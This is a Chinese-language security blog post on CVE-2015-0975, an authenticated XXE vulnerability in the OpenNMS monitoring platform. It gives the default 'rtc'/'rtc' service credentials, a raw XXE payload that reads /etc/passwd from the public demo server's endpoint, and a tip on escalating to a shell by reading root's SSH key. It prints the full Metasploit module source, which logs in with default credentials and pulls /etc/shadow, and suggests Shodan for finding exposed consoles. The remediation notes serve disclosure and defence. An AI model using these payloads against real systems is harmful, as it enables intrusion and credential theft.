OpenNMS是一个企业级基于Java/XML的分布式网络和系统监控管理平台。
安全脉搏很早注意到OpenNMS Authenticated XXE(CVE-2015-0975),今天小编整理发布一下。
OpenNMS是你管理网络的绝好工具,它能够显示你网络中各中终端和服务器的状态和配置,为你方便地管理网络提供有效的信息。
OpenNMS是一个企业级基于Java/XML的分布式网络和系统监控管理平台。
OpenNMS是你管理网络的绝好工具,它能够显示你网络中各中终端和服务器的状态和配置,为你方便地管理网络提供有效的信息。
在线演示:
http://demo.opennms.org/opennms/ (可能需翻墙)username: demo
password: demo
有人对比了一下cacti nagios munin monit zabbix opennms
1.default account named "rtc" with password "rtc"
http://sourceforge.net/p/opennms/opennmsbook/ci/f3817feedf2bbd53180e788a5ad3d1388377a049/?page=1 +# The RTC View Control Manager daemon uses this user to authenticate itself\ +# while sending RTC data posts.\ +user.rtc.username=rtc\ +user.rtc.password=rtc\
默认服务账户 rtc/rtc,基本是没啥权限
Access denied
You do not have permission to access this page.
2.xxe usage
http://demo.opennms.org/opennms/rtc/post/xxxxxx
POST
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
xxe到shell利用姿势: /root/.ssh/ssh_rsa
修复后可能会400
HTTP ERROR 400 Problem accessing /opennms/rtc/post/xxxxxx. Reason: Invalid XML input: MarshalException: Premature end of file. Powered by Jetty://
3.author & msf
'Author' => + [ + 'Stephen Breen <breenmachine[at]gmail.com>', # discovery + 'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module + ], CVE-2015-0975 XXE for OpenNMS <= 14.0.2 He also wrote a metasploit module for this vulnerability: https://github.com/rapid7/metasploit-framework/pull/4585
modules/exploits/linux/http/opennms_xxe.rb
require 'msf/core' require 'openssl' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'OpenNMS Authenticated XXE', 'Description' => %q{ OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface. Although this attack requires authentication, there are several factors that increase the severity of this vulnerability. 1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the core of OpenNMS is that these components need to run as root to be able to bind to low-numbered ports or generate network traffic that requires root" 2. The user that you must authenticate as is the "rtc" user which has the default password of "rtc". There is no mention of this user in the installation guides found here: http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default admin password of "admin" for security purposes. }, 'License' => MSF_LICENSE, 'Author' => [ 'Stephen Breen <breenmachine[at]gmail.com>', # discovery 'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module ], 'References' => [ ['CVE', '2015-0975'] ], 'DisclosureDate' => 'Jan 08 2015' )) register_options( [ Opt::RPORT(8980), OptBool.new('SSL', [false, 'Use SSL', false]), OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']), OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) ], self.class) end def run print_status("Logging in to grab a valid session cookie") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'Login'=> 'Login' }, }) unless res.headers["Location"].include? "index.jsp" fail_with(Failure::Unknown, 'Authentication failed') end cookie = res.get_cookies print_status("Got cookie, going for the goods") xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file://'+datastore["FILEPATH"]+'" >]><foo>&xxe;</foo>' res = send_request_raw({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), 'data' => xxe, 'cookie' => cookie }) # extract filepath data from response and remove preceding errors if res.body =~ /<title.*\/?>(.+)<\/title\/?>/m title = $1 end result = title.match(/"(.*)/m) print_good("#{result}") end end
设置过disallow-doctype-decl为true的就木法利用了
http://www.shodanhq.com/
opennms
OpenNMS Web Console
默认端口 8980
升级到14.0.3(14.0.3之前的版本都受影响)
http://breenmachine.blogspot.ca/2015/01/opennms-0-day-xxe-to-shell.html#comment-form
http://www.opennms.org/wiki/CVE-2015-0975
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0975
https://github.com/rapid7/metasploit-framework/pull/4585